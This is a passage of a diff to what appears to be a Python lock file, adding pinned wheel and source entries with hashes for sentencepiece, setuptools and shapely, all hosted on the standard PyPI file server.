"https://files.pythonhosted.org/packages/fa/19/1ea47f46ff97fe04422b78997da1a37cd632f414aae042d27a9009c5b733/sentencepiece-0.2.1-cp310-cp310-win_arm64.whl", hash = "sha256:9076430ac25dfa7147d9d05751dbc66a04bc1aaac371c07f84952979ea59f0d0", size = 1033884, upload-time = "2025-08-12T06:59:24.194Z" }, + { url = "https://files.pythonhosted.org/packages/d8/15/46afbab00733d81788b64be430ca1b93011bb9388527958e26cc31832de5/sentencepiece-0.2.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6356d0986b8b8dc351b943150fcd81a1c6e6e4d439772e8584c64230e58ca987", size = 1942560, upload-time = "2025-08-12T06:59:25.82Z" }, + { url = "https://files.pythonhosted.org/packages/fa/79/7c01b8ef98a0567e9d84a4e7a910f8e7074fcbf398a5cd76f93f4b9316f9/sentencepiece-0.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8f8ba89a3acb3dc1ae90f65ec1894b0b9596fdb98ab003ff38e058f898b39bc7", size = 1325385, upload-time = "2025-08-12T06:59:27.722Z" }, + { url = "https://files.pythonhosted.org/packages/bb/88/2b41e07bd24f33dcf2f18ec3b74247aa4af3526bad8907b8727ea3caba03/sentencepiece-0.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:02593eca45440ef39247cee8c47322a34bdcc1d8ae83ad28ba5a899a2cf8d79a", size = 1253319, upload-time = "2025-08-12T06:59:29.306Z" }, + { url = "https://files.pythonhosted.org/packages/a0/54/38a1af0c6210a3c6f95aa46d23d6640636d020fba7135cd0d9a84ada05a7/sentencepiece-0.2.1-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0a0d15781a171d188b661ae4bde1d998c303f6bd8621498c50c671bd45a4798e", size = 1316162, upload-time = "2025-08-12T06:59:30.914Z" }, + { url = "https://files.pythonhosted.org/packages/ef/66/fb191403ade791ad2c3c1e72fe8413e63781b08cfa3aa4c9dfc536d6e795/sentencepiece-0.2.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4f5a3e0d9f445ed9d66c0fec47d4b23d12cfc858b407a03c194c1b26c2ac2a63", size = 1387785, upload-time = "2025-08-12T06:59:32.491Z" }, + { url = "https://files.pythonhosted.org/packages/a9/2d/3bd9b08e70067b2124518b308db6a84a4f8901cc8a4317e2e4288cdd9b4d/sentencepiece-0.2.1-cp311-cp311-win32.whl", hash = "sha256:6d297a1748d429ba8534eebe5535448d78b8acc32d00a29b49acf28102eeb094", size = 999555, upload-time = "2025-08-12T06:59:34.475Z" }, + { url = "https://files.pythonhosted.org/packages/32/b8/f709977f5fda195ae1ea24f24e7c581163b6f142b1005bc3d0bbfe4d7082/sentencepiece-0.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:82d9ead6591015f009cb1be1cb1c015d5e6f04046dbb8c9588b931e869a29728", size = 1054617, upload-time = "2025-08-12T06:59:36.461Z" }, + { url = "https://files.pythonhosted.org/packages/7a/40/a1fc23be23067da0f703709797b464e8a30a1c78cc8a687120cd58d4d509/sentencepiece-0.2.1-cp311-cp311-win_arm64.whl", hash = "sha256:39f8651bd10974eafb9834ce30d9bcf5b73e1fc798a7f7d2528f9820ca86e119", size = 1033877, upload-time = "2025-08-12T06:59:38.391Z" }, + { url = "https://files.pythonhosted.org/packages/4a/be/32ce495aa1d0e0c323dcb1ba87096037358edee539cac5baf8755a6bd396/sentencepiece-0.2.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:57cae326c8727de58c85977b175af132a7138d84c764635d7e71bbee7e774133", size = 1943152, upload-time = "2025-08-12T06:59:40.048Z" }, + { url = "https://files.pythonhosted.org/packages/88/7e/ff23008899a58678e98c6ff592bf4d368eee5a71af96d0df6b38a039dd4f/sentencepiece-0.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:56dd39a3c4d6493db3cdca7e8cc68c6b633f0d4195495cbadfcf5af8a22d05a6", size = 1325651, upload-time = "2025-08-12T06:59:41.536Z" }, + { url = "https://files.pythonhosted.org/packages/19/84/42eb3ce4796777a1b5d3699dfd4dca85113e68b637f194a6c8d786f16a04/sentencepiece-0.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d9381351182ff9888cc80e41c632e7e274b106f450de33d67a9e8f6043da6f76", size = 1253645, upload-time = "2025-08-12T06:59:42.903Z" }, + { url = "https://files.pythonhosted.org/packages/89/fa/d3d5ebcba3cb9e6d3775a096251860c41a6bc53a1b9461151df83fe93255/sentencepiece-0.2.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:99f955df238021bf11f0fc37cdb54fd5e5b5f7fd30ecc3d93fb48b6815437167", size = 1316273, upload-time = "2025-08-12T06:59:44.476Z" }, + { url = "https://files.pythonhosted.org/packages/04/88/14f2f4a2b922d8b39be45bf63d79e6cd3a9b2f248b2fcb98a69b12af12f5/sentencepiece-0.2.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0cdfecef430d985f1c2bcbfff3defd1d95dae876fbd0173376012d2d7d24044b", size = 1387881, upload-time = "2025-08-12T06:59:46.09Z" }, + { url = "https://files.pythonhosted.org/packages/fd/b8/903e5ccb77b4ef140605d5d71b4f9e0ad95d456d6184688073ed11712809/sentencepiece-0.2.1-cp312-cp312-win32.whl", hash = "sha256:a483fd29a34c3e34c39ac5556b0a90942bec253d260235729e50976f5dba1068", size = 999540, upload-time = "2025-08-12T06:59:48.023Z" }, + { url = "https://files.pythonhosted.org/packages/2d/81/92df5673c067148c2545b1bfe49adfd775bcc3a169a047f5a0e6575ddaca/sentencepiece-0.2.1-cp312-cp312-win_amd64.whl", hash = "sha256:4cdc7c36234fda305e85c32949c5211faaf8dd886096c7cea289ddc12a2d02de", size = 1054671, upload-time = "2025-08-12T06:59:49.895Z" }, + { url = "https://files.pythonhosted.org/packages/fe/02/c5e3bc518655d714622bec87d83db9cdba1cd0619a4a04e2109751c4f47f/sentencepiece-0.2.1-cp312-cp312-win_arm64.whl", hash = "sha256:daeb5e9e9fcad012324807856113708614d534f596d5008638eb9b40112cd9e4", size = 1033923, upload-time = "2025-08-12T06:59:51.952Z" }, + { url = "https://files.pythonhosted.org/packages/ba/4a/85fbe1706d4d04a7e826b53f327c4b80f849cf1c7b7c5e31a20a97d8f28b/sentencepiece-0.2.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:dcd8161eee7b41aae57ded06272905dbd680a0a04b91edd0f64790c796b2f706", size = 1943150, upload-time = "2025-08-12T06:59:53.588Z" }, + { url = "https://files.pythonhosted.org/packages/c2/83/4cfb393e287509fc2155480b9d184706ef8d9fa8cbf5505d02a5792bf220/sentencepiece-0.2.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c6c8f42949f419ff8c7e9960dbadcfbc982d7b5efc2f6748210d3dd53a7de062", size = 1325651, upload-time = "2025-08-12T06:59:55.073Z" }, + { url = "https://files.pythonhosted.org/packages/8d/de/5a007fb53b1ab0aafc69d11a5a3dd72a289d5a3e78dcf2c3a3d9b14ffe93/sentencepiece-0.2.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:097f3394e99456e9e4efba1737c3749d7e23563dd1588ce71a3d007f25475fff", size = 1253641, upload-time = "2025-08-12T06:59:56.562Z" }, + { url = "https://files.pythonhosted.org/packages/2c/d2/f552be5928105588f4f4d66ee37dd4c61460d8097e62d0e2e0eec41bc61d/sentencepiece-0.2.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d7b670879c370d350557edabadbad1f6561a9e6968126e6debca4029e5547820", size = 1316271, upload-time = "2025-08-12T06:59:58.109Z" }, + { url = "https://files.pythonhosted.org/packages/96/df/0cfe748ace5485be740fed9476dee7877f109da32ed0d280312c94ec259f/sentencepiece-0.2.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c7f0fd2f2693309e6628aeeb2e2faf6edd221134dfccac3308ca0de01f8dab47", size = 1387882, upload-time = "2025-08-12T07:00:00.701Z" }, + { url = "https://files.pythonhosted.org/packages/ac/dd/f7774d42a881ced8e1739f393ab1e82ece39fc9abd4779e28050c2e975b5/sentencepiece-0.2.1-cp313-cp313-win32.whl", hash = "sha256:92b3816aa2339355fda2c8c4e021a5de92180b00aaccaf5e2808972e77a4b22f", size = 999541, upload-time = "2025-08-12T07:00:02.709Z" }, + { url = "https://files.pythonhosted.org/packages/dd/e9/932b9eae6fd7019548321eee1ab8d5e3b3d1294df9d9a0c9ac517c7b636d/sentencepiece-0.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:10ed3dab2044c47f7a2e7b4969b0c430420cdd45735d78c8f853191fa0e3148b", size = 1054669, upload-time = "2025-08-12T07:00:04.915Z" }, + { url = "https://files.pythonhosted.org/packages/c9/3a/76488a00ea7d6931689cda28726a1447d66bf1a4837943489314593d5596/sentencepiece-0.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:ac650534e2251083c5f75dde4ff28896ce7c8904133dc8fef42780f4d5588fcd", size = 1033922, upload-time = "2025-08-12T07:00:06.496Z" }, + { url = "https://files.pythonhosted.org/packages/4a/b6/08fe2ce819e02ccb0296f4843e3f195764ce9829cbda61b7513f29b95718/sentencepiece-0.2.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:8dd4b477a7b069648d19363aad0cab9bad2f4e83b2d179be668efa672500dc94", size = 1946052, upload-time = "2025-08-12T07:00:08.136Z" }, + { url = "https://files.pythonhosted.org/packages/ab/d9/1ea0e740591ff4c6fc2b6eb1d7510d02f3fb885093f19b2f3abd1363b402/sentencepiece-0.2.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0c0f672da370cc490e4c59d89e12289778310a0e71d176c541e4834759e1ae07", size = 1327408, upload-time = "2025-08-12T07:00:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/99/7e/1fb26e8a21613f6200e1ab88824d5d203714162cf2883248b517deb500b7/sentencepiece-0.2.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:ad8493bea8432dae8d6830365352350f3b4144415a1d09c4c8cb8d30cf3b6c3c", size = 1254857, upload-time = "2025-08-12T07:00:11.021Z" }, + { url = "https://files.pythonhosted.org/packages/bc/85/c72fd1f3c7a6010544d6ae07f8ddb38b5e2a7e33bd4318f87266c0bbafbf/sentencepiece-0.2.1-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b81a24733726e3678d2db63619acc5a8dccd074f7aa7a54ecd5ca33ca6d2d596", size = 1315722, upload-time = "2025-08-12T07:00:12.989Z" }, + { url = "https://files.pythonhosted.org/packages/4a/e8/661e5bd82a8aa641fd6c1020bd0e890ef73230a2b7215ddf9c8cd8e941c2/sentencepiece-0.2.1-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0a81799d0a68d618e89063fb423c3001a034c893069135ffe51fee439ae474d6", size = 1387452, upload-time = "2025-08-12T07:00:15.088Z" }, + { url = "https://files.pythonhosted.org/packages/99/5e/ae66c361023a470afcbc1fbb8da722c72ea678a2fcd9a18f1a12598c7501/sentencepiece-0.2.1-cp313-cp313t-win32.whl", hash = "sha256:89a3ea015517c42c0341d0d962f3e6aaf2cf10d71b1932d475c44ba48d00aa2b", size = 1002501, upload-time = "2025-08-12T07:00:16.966Z" }, + { url = "https://files.pythonhosted.org/packages/c1/03/d332828c4ff764e16c1b56c2c8f9a33488bbe796b53fb6b9c4205ddbf167/sentencepiece-0.2.1-cp313-cp313t-win_amd64.whl", hash = "sha256:33f068c9382dc2e7c228eedfd8163b52baa86bb92f50d0488bf2b7da7032e484", size = 1057555, upload-time = "2025-08-12T07:00:18.573Z" }, + { url = "https://files.pythonhosted.org/packages/88/14/5aee0bf0864df9bd82bd59e7711362908e4935e3f9cdc1f57246b5d5c9b9/sentencepiece-0.2.1-cp313-cp313t-win_arm64.whl", hash = "sha256:b3616ad246f360e52c85781e47682d31abfb6554c779e42b65333d4b5f44ecc0", size = 1036042, upload-time = "2025-08-12T07:00:20.209Z" }, + { url = "https://files.pythonhosted.org/packages/24/9c/89eb8b2052f720a612478baf11c8227dcf1dc28cd4ea4c0c19506b5af2a2/sentencepiece-0.2.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:5d0350b686c320068702116276cfb26c066dc7e65cfef173980b11bb4d606719", size = 1943147, upload-time = "2025-08-12T07:00:21.809Z" }, + { url = "https://files.pythonhosted.org/packages/82/0b/a1432bc87f97c2ace36386ca23e8bd3b91fb40581b5e6148d24b24186419/sentencepiece-0.2.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:c7f54a31cde6fa5cb030370566f68152a742f433f8d2be458463d06c208aef33", size = 1325624, upload-time = "2025-08-12T07:00:23.289Z" }, + { url = "https://files.pythonhosted.org/packages/ea/99/bbe054ebb5a5039457c590e0a4156ed073fb0fe9ce4f7523404dd5b37463/sentencepiece-0.2.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c83b85ab2d6576607f31df77ff86f28182be4a8de6d175d2c33ca609925f5da1", size = 1253670, upload-time = "2025-08-12T07:00:24.69Z" }, + { url = "https://files.pythonhosted.org/packages/19/ad/d5c7075f701bd97971d7c2ac2904f227566f51ef0838dfbdfdccb58cd212/sentencepiece-0.2.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1855f57db07b51fb51ed6c9c452f570624d2b169b36f0f79ef71a6e6c618cd8b", size = 1316247, upload-time = "2025-08-12T07:00:26.435Z" }, + { url = "https://files.pythonhosted.org/packages/fb/03/35fbe5f3d9a7435eebd0b473e09584bd3cc354ce118b960445b060d33781/sentencepiece-0.2.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01e6912125cb45d3792f530a4d38f8e21bf884d6b4d4ade1b2de5cf7a8d2a52b", size = 1387894, upload-time = "2025-08-12T07:00:28.339Z" }, + { url = "https://files.pythonhosted.org/packages/dc/aa/956ef729aafb6c8f9c443104c9636489093bb5c61d6b90fc27aa1a865574/sentencepiece-0.2.1-cp314-cp314-win32.whl", hash = "sha256:c415c9de1447e0a74ae3fdb2e52f967cb544113a3a5ce3a194df185cbc1f962f", size = 1096698, upload-time = "2025-08-12T07:00:29.764Z" }, + { url = "https://files.pythonhosted.org/packages/b8/cb/fe400d8836952cc535c81a0ce47dc6875160e5fedb71d2d9ff0e9894c2a6/sentencepiece-0.2.1-cp314-cp314-win_amd64.whl", hash = "sha256:881b2e44b14fc19feade3cbed314be37de639fc415375cefaa5bc81a4be137fd", size = 1155115, upload-time = "2025-08-12T07:00:32.865Z" }, + { url = "https://files.pythonhosted.org/packages/32/89/047921cf70f36c7b6b6390876b2399b3633ab73b8d0cb857e5a964238941/sentencepiece-0.2.1-cp314-cp314-win_arm64.whl", hash = "sha256:2005242a16d2dc3ac5fe18aa7667549134d37854823df4c4db244752453b78a8", size = 1133890, upload-time = "2025-08-12T07:00:34.763Z" }, + { url = "https://files.pythonhosted.org/packages/a1/11/5b414b9fae6255b5fb1e22e2ed3dc3a72d3a694e5703910e640ac78346bb/sentencepiece-0.2.1-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:a19adcec27c524cb7069a1c741060add95f942d1cbf7ad0d104dffa0a7d28a2b", size = 1946081, upload-time = "2025-08-12T07:00:36.97Z" }, + { url = "https://files.pythonhosted.org/packages/77/eb/7a5682bb25824db8545f8e5662e7f3e32d72a508fdce086029d89695106b/sentencepiece-0.2.1-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:e37e4b4c4a11662b5db521def4e44d4d30ae69a1743241412a93ae40fdcab4bb", size = 1327406, upload-time = "2025-08-12T07:00:38.669Z" }, + { url = "https://files.pythonhosted.org/packages/03/b0/811dae8fb9f2784e138785d481469788f2e0d0c109c5737372454415f55f/sentencepiece-0.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:477c81505db072b3ab627e7eab972ea1025331bd3a92bacbf798df2b75ea86ec", size = 1254846, upload-time = "2025-08-12T07:00:40.611Z" }, + { url = "https://files.pythonhosted.org/packages/ef/23/195b2e7ec85ebb6a547969f60b723c7aca5a75800ece6cc3f41da872d14e/sentencepiece-0.2.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:010f025a544ef770bb395091d57cb94deb9652d8972e0d09f71d85d5a0816c8c", size = 1315721, upload-time = "2025-08-12T07:00:42.914Z" }, + { url = "https://files.pythonhosted.org/packages/7e/aa/553dbe4178b5f23eb28e59393dddd64186178b56b81d9b8d5c3ff1c28395/sentencepiece-0.2.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:733e59ff1794d26db706cd41fc2d7ca5f6c64a820709cb801dc0ea31780d64ab", size = 1387458, upload-time = "2025-08-12T07:00:44.56Z" }, + { url = "https://files.pythonhosted.org/packages/66/7c/08ff0012507297a4dd74a5420fdc0eb9e3e80f4e88cab1538d7f28db303d/sentencepiece-0.2.1-cp314-cp314t-win32.whl", hash = "sha256:d3233770f78e637dc8b1fda2cd7c3b99ec77e7505041934188a4e7fe751de3b0", size = 1099765, upload-time = "2025-08-12T07:00:46.058Z" }, + { url = "https://files.pythonhosted.org/packages/91/d5/2a69e1ce15881beb9ddfc7e3f998322f5cedcd5e4d244cb74dade9441663/sentencepiece-0.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:5e4366c97b68218fd30ea72d70c525e6e78a6c0a88650f57ac4c43c63b234a9d", size = 1157807, upload-time = "2025-08-12T07:00:47.673Z" }, + { url = "https://files.pythonhosted.org/packages/f3/16/54f611fcfc2d1c46cbe3ec4169780b2cfa7cf63708ef2b71611136db7513/sentencepiece-0.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:105e36e75cbac1292642045458e8da677b2342dcd33df503e640f0b457cb6751", size = 1136264, upload-time = "2025-08-12T07:00:49.485Z" }, +] + +[[package]] +name = "setuptools" +version = "80.10.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/76/95/faf61eb8363f26aa7e1d762267a8d602a1b26d4f3a1e758e92cb3cb8b054/setuptools-80.10.2.tar.gz", hash = "sha256:8b0e9d10c784bf7d262c4e5ec5d4ec94127ce206e8738f29a437945fbc219b70", size = 1200343, upload-time = "2026-01-25T22:38:17.252Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/b8/f1f62a5e3c0ad2ff1d189590bfa4c46b4f3b6e49cef6f26c6ee4e575394d/setuptools-80.10.2-py3-none-any.whl", hash = "sha256:95b30ddfb717250edb492926c92b5221f7ef3fbcc2b07579bcd4a27da21d0173", size = 1064234, upload-time = "2026-01-25T22:38:15.216Z" }, +] + +[[package]] +name = "shapely" +version = "2.1.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "numpy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4d/bc/0989043118a27cccb4e906a46b7565ce36ca7b57f5a18b78f4f1b0f72d9d/shapely-2.1.2.tar.gz", hash = "sha256:2ed4ecb28320a433db18a5bf029986aa8afcfd740745e78847e330d5d94922a9", size = 315489, upload-time = "2025-09-24T13:51:41.432Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/05/89/c3548aa9b9812a5d143986764dededfa48d817714e947398bdda87c77a72/shapely-2.1.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7ae48c236c0324b4e139bea88a306a04ca630f49be66741b340729d380d8f52f", size = 1825959, upload-time = "2025-09-24T13:50:00.682Z" }, + { url = "https://files.pythonhosted.org/packages/ce/8a/7ebc947080442edd614ceebe0ce2cdbd00c25e832c240e1d1de61d0e6b38/shapely-2.1.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:eba6710407f1daa8e7602c347dfc94adc02205ec27ed956346190d66579eb9ea", size = 1629196, upload-time = "2025-09-24T13:50:03.447Z" }, + { url = "https://files.pythonhosted.org/packages/c8/86/c9c27881c20d00fc409e7e059de569d5ed0abfcec9c49548b124ebddea51/shapely-2.1.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ef4a456cc8b7b3d50ccec29642aa4aeda959e9da2fe9540a92754770d5f0cf1f", size = 2951065, upload-time = "2025-09-24T13:50:05.266Z" }, + { url = "https://files.pythonhosted.org/packages/50/8a/0ab1f7433a2a85d9e9aea5b1fbb333f3b09b309e7817309250b4b7b2cc7a/shapely-2.1.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e38a190442aacc67ff9f75ce60aec04893041f16f97d242209106d502486a142", size = 3058666, upload-time = "2025-09-24T13:50:06.872Z" }, + { url = "https://files.pythonhosted.org/packages/bb/c6/5a30ffac9c4f3ffd5b7113a7f5299ccec4713acd5ee44039778a7698224e/shapely-2.1.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:40d784101f5d06a1fd30b55fc11ea58a61be23f930d934d86f19a180909908a4", size = 3966905, upload-time = "2025-09-24T13:50:09.417Z" }, + { url = "https://files.pythonhosted.org/packages/9c/72/e92f3035ba43e53959007f928315a68fbcf2eeb4e5ededb6f0dc7ff1ecc3/shapely-2.1.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f6f6cd5819c50d9bcf921882784586aab34a4bd53e7553e175dece6db513a6f0", size = 4129260, upload-time = "2025-09-24T13:50:11.183Z" }, + { url = "https://files.pythonhosted.org/packages/42/24/605901b73a3d9f65fa958e63c9211f4be23d584da8a1a7487382fac7fdc5/shapely-2.1.2-cp310-cp310-win32.whl", hash = "sha256:fe9627c39c59e553c90f5bc3128252cb85dc3b3be8189710666d2f8bc3a5503e", size = 1544301, upload-time = "2025-09-24T13:50:12.521Z" }, + { url = "https://files.pythonhosted.org/packages/e1/89/6db795b8dd3919851856bd2ddd13ce434a748072f6fdee42ff30cbd3afa3/shapely-2.1.2-cp310-cp310-win_amd64.whl", hash = "sha256:1d0bfb4b8f661b3b4ec3565fa36c340bfb1cda82087199711f86a88647d26b2f", size = 1722074, upload-time = "2025-09-24T13:50:13.909Z" }, + { url = "https://files.pythonhosted.org/packages/8f/8d/1ff672dea9ec6a7b5d422eb6d095ed886e2e523733329f75fdcb14ee1149/shapely-2.1.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:91121757b0a36c9aac3427a651a7e6567110a4a67c97edf04f8d55d4765f6618", size = 1820038, upload-time = "2025-09-24T13:50:15.628Z" }, + { url = "https://files.pythonhosted.org/packages/4f/ce/28fab8c772ce5db23a0d86bf0adaee0c4c79d5ad1db766055fa3dab442e2/shapely-2.1.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:16a9c722ba774cf50b5d4541242b4cce05aafd44a015290c82ba8a16931ff63d", size = 1626039, upload-time = "2025-09-24T13:50:16.881Z" }, + { url = "https://files.pythonhosted.org/packages/70/8b/868b7e3f4982f5006e9395c1e12343c66a8155c0374fdc07c0e6a1ab547d/shapely-2.1.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:cc4f7397459b12c0b196c9efe1f9d7e92463cbba142632b4cc6d8bbbbd3e2b09", size = 3001519, upload-time = "2025-09-24T13:50:18.606Z" }, + { url = "https://files.pythonhosted.org/packages/13/02/58b0b8d9c17c93ab6340edd8b7308c0c5a5b81f94ce65705819b7416dba5/shapely-2.1.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:136ab87b17e733e22f0961504d05e77e7be8c9b5a8184f685b4a91a84efe3c26", size = 3110842, upload-time = "2025-09-24T13:50:21.77Z" }, + { url = "https://files.pythonhosted.org/packages/af/61/8e389c97994d5f331dcffb25e2fa761aeedfb52b3ad9bcdd7b8671f4810a/shapely-2.1.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:16c5d0fc45d3aa0a69074979f4f1928ca2734fb2e0dde8af9611e134e46774e7", size = 4021316, upload-time = "2025-09-24T13:50:23.626Z" }, + { url = "https://files.pythonhosted.org/packages/d3/d4/9b2a9fe6039f9e42ccf2cb3e84f219fd8364b0c3b8e7bbc857b5fbe9c14c/shapely-2.1.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:6ddc759f72b5b2b0f54a7e7cde44acef680a55019eb52ac63a7af2cf17cb9cd2", size = 4178586, upload-time = "2025-09-24T13:50:25.443Z" }, + { url = "https://files.pythonhosted.org/packages/16/f6/9840f6963ed4decf76b08fd6d7fed14f8779fb7a62cb45c5617fa8ac6eab/shapely-2.1.2-cp311-cp311-win32.whl", hash = "sha256:2fa78b49485391224755a856ed3b3bd91c8455f6121fee0db0e71cefb07d0ef6", size = 1543961, upload-time = "2025-09-24T13:50:26.968Z" }, + { url = "https://files.pythonhosted.org/packages/38/1e/3f8ea46353c2a33c1669eb7327f9665103aa3a8dfe7f2e4ef714c210b2c2/shapely-2.1.2-cp311-cp311-win_amd64.whl", hash = "sha256:c64d5c97b2f47e3cd9b712eaced3b061f2b71234b3fc263e0fcf7d889c6559dc", size = 1722856, upload-time = "2025-09-24T13:50:28.497Z" }, + { url = "https://files.pythonhosted.org/packages/24/c0/f3b6453cf2dfa99adc0ba6675f9aaff9e526d2224cbd7ff9c1a879238693/shapely-2.1.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fe2533caae6a91a543dec62e8360fe86ffcdc42a7c55f9dfd0128a977a896b94", size = 1833550, upload-time = "2025-09-24T13:50:30.019Z" }, + { url = "https://files.pythonhosted.org/packages/86/07/59dee0bc4b913b7ab59ab1086225baca5b8f19865e6101db9ebb7243e132/shapely-2.1.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ba4d1333cc0bc94381d6d4308d2e4e008e0bd128bdcff5573199742ee3634359", size = 1643556, upload-time = "2025-09-24T13:50:32.291Z" }, + { url = "https://files.pythonhosted.org/packages/26/29/a5397e75b435b9895cd53e165083faed5d12fd9626eadec15a83a2411f0f/shapely-2.1.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0bd308103340030feef6c111d3eb98d50dc13feea33affc8a6f9fa549e9458a3", size = 2988308, upload-time = "2025-09-24T13:50:33.862Z" }, + { url = "https://files.pythonhosted.org/packages/b9/37/e781683abac55dde9771e086b790e554811a71ed0b2b8a1e789b7430dd44/shapely-2.1.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1e7d4d7ad262a48bb44277ca12c7c78cb1b0f56b32c10734ec9a1d30c0b0c54b", size = 3099844, upload-time = "2025-09-24T13:50:35.459Z" }, + { url = "https://files.pythonhosted.org/packages/d8/f3/9876b64d4a5a321b9dc482c92bb6f061f2fa42131cba643c699f39317cb9/shapely-2.1.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e9eddfe513096a71896441a7c37db72da0687b34752c4e193577a145c71736fc", size = 3988842, upload-time = "2025-09-24T13:50:37.478Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a0/704c7292f7014c7e74ec84eddb7b109e1fbae74a16deae9c1504b1d15565/shapely-2.1.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:980c777c612514c0cf99bc8a9de6d286f5e186dcaf9091252fcd444e5638193d", size = 4152714, upload-time = "2025-09-24T13:50:39.9Z" }, + { url = "https://files.pythonhosted.org/packages/53/46/319c9dc788884ad0785242543cdffac0e6530e4d0deb6c4862bc4143dcf3/shapely-2.1.2-cp312-cp312-win32.whl", hash = "sha256:9111274b88e4d7b54a95218e243282709b330ef52b7b86bc6aaf4f805306f454", size = 1542745, upload-time = "2025-09-24T13:50:41.414Z" }, + { url = "https://files.pythonhosted.org/packages/ec/bf/cb6c1c505cb31e818e900b9312d514f381fbfa5c4363edfce0fcc4f8c1a4/shapely-2.1.2-cp312-cp312-win_amd64.whl", hash = "sha256:743044b4cfb34f9a67205cee9279feaf60ba7d02e69febc2afc609047cb49179", size = 1722861, upload-time = "2025-09-24T13:50:43.35Z" }, + { url = "https://files.pythonhosted.org/packages/c3/90/98ef257c23c46425dc4d1d31005ad7c8d649fe423a38b917db02c30f1f5a/shapely-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b510dda1a3672d6879beb319bc7c5fd302c6c354584690973c838f46ec3e0fa8", size = 1832644, upload-time = "2025-09-24T13:50:44.886Z" }, + { url = "https://files.pythonhosted.org/packages/6d/ab/0bee5a830d209adcd3a01f2d4b70e587cdd9fd7380d5198c064091005af8/shapely-2.1.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8cff473e81017594d20ec55d86b54bc635544897e13a7cfc12e36909c5309a2a", size = 1642887, upload-time = "2025-09-24T13:50:46.735Z" }, + { url = "https://files.pythonhosted.org/packages/2d/5e/7d7f54ba960c13302584c73704d8c4d15404a51024631adb60b126a4ae88/shapely-2.1.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fe7b77dc63d707c09726b7908f575fc04ff1d1ad0f3fb92aec212396bc6cfe5e", size = 2970931, upload-time = "2025-09-24T13:50:48.374Z" }, + { url = "https://files.pythonhosted.org/packages/f2/a2/83fc37e2a58090e3d2ff79175a95493c664bcd0b653dd75cb9134645a4e5/shapely-2.1.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = 